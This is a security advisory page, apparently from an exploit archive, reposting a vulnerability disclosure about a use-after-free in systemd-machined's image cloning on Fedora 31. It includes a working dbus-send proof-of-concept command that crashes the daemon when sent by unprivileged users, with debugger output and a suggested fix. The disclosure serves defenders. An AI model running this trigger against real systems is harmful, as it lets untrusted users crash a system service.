what you don't know can hurt you

systemd-machined Incorrect Reference Decrement

systemd-machined Incorrect Reference Decrement
Posted Feb 7, 2020
Authored by Tavis Ormandy, Google Security Research

systemd has an issue in systemd-machined where it decrements the reference count when references are still held.

tags | exploit
MD5 | 892461d03b79e21e6c1303c5d998422e

systemd-machined Incorrect Reference Decrement

Change Mirror Download
systemd: systemd-machined decrements reference count when references still held

I've been looking at the version of systemd shipped in Fedora 31 (approximately ef677436aa203c24816021dd698b57f219f0ff64)

I noticed that systemd-machined caches image objects, and uses reference counting to keep track of them. It removes a reference on error, but it still has a reference in the slot, and you can make it require it by requesting a reply.

For example, a remote non-admin can do this, and it is handled correctly (i.e. correctly denied):

$ dbus-send --system --dest=org.freedesktop.machine1 /org/freedesktop/machine1/image/_2ehost org.freedesktop.machine1.Image.Clone string:invalid boolean:false

But if we request a reply:

$ dbus-send --print-reply --system --dest=org.freedesktop.machine1 /org/freedesktop/machine1/image/_2ehost org.freedesktop.machine1.Image.Clone string:invalid boolean:false

Program received signal SIGSEGV, Segmentation fault.
0x0000556c14d58a69 in bus_image_method_clone (message=0x556c152db930, userdata=0x556c152dbcc0, error=0x7ffd8471c9b0) at ../src/machine/image-dbus.c:144
(gdb) p *image
$2 = {n_ref = 16843372, type = 16, name = 0x360000062b <error: Cannot access memory at address 0x360000062b>,
etc }

image has already hit zero references, and was released. Maybe this affects other objects as well.

I suppose the fix is to check the header for NO_REPLY_EXPECTED, and give it a second reference if not set, but the logic is complicated and maybe you prefer another way.

(To be clear, this is enabled by default on FC31 and accessible to remote, untrusted users)

Tavis.


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.





Found by: taviso@google.com

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    11 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close